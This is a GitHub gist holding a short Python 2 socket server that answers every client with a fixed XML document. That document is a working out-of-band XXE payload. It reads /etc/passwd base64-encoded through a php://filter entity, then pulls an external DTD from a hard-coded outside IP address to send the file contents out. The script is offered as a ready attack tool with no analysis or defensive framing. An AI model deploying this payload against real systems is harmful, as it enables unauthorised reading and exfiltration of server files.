Created
April 29, 2019 15:51
-
-
Save fyoorer/a7d2711ef4c3b1ea6a5a07021b41207b to your computer and use it in GitHub Desktop.
listen for connections and respond with xml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import sys | |
HOST = '' # Symbolic name, meaning all available interfaces | |
PORT = 8000 # Arbitrary non-privileged port | |
resp='<?xml version="1.0" encoding="utf-8"?><!DOCTYPE roottag [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"><!ENTITY % dtd SYSTEM "http://123.236.165.101/host2.dtd">%dtd;]><roottag>&send;</roottag>' | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
print 'Socket created' | |
#Bind socket to local host and port | |
try: | |
s.bind((HOST, PORT)) | |
except socket.error as msg: | |
print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1] | |
sys.exit() | |
print 'Socket bind complete' | |
#Start listening on socket | |
s.listen(10) | |
print 'Socket now listening' | |
#now keep talking with the client | |
while 1: | |
#wait to accept a connection - blocking call | |
conn, addr = s.accept() | |
print 'Connected with ' + addr[0] + ':' + str(addr[1]) | |
data=conn.recv(1024) | |
print data | |
print "\n\n" | |
conn.sendall(resp) | |
conn.close() | |
#conn.send(resp) | |
s.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment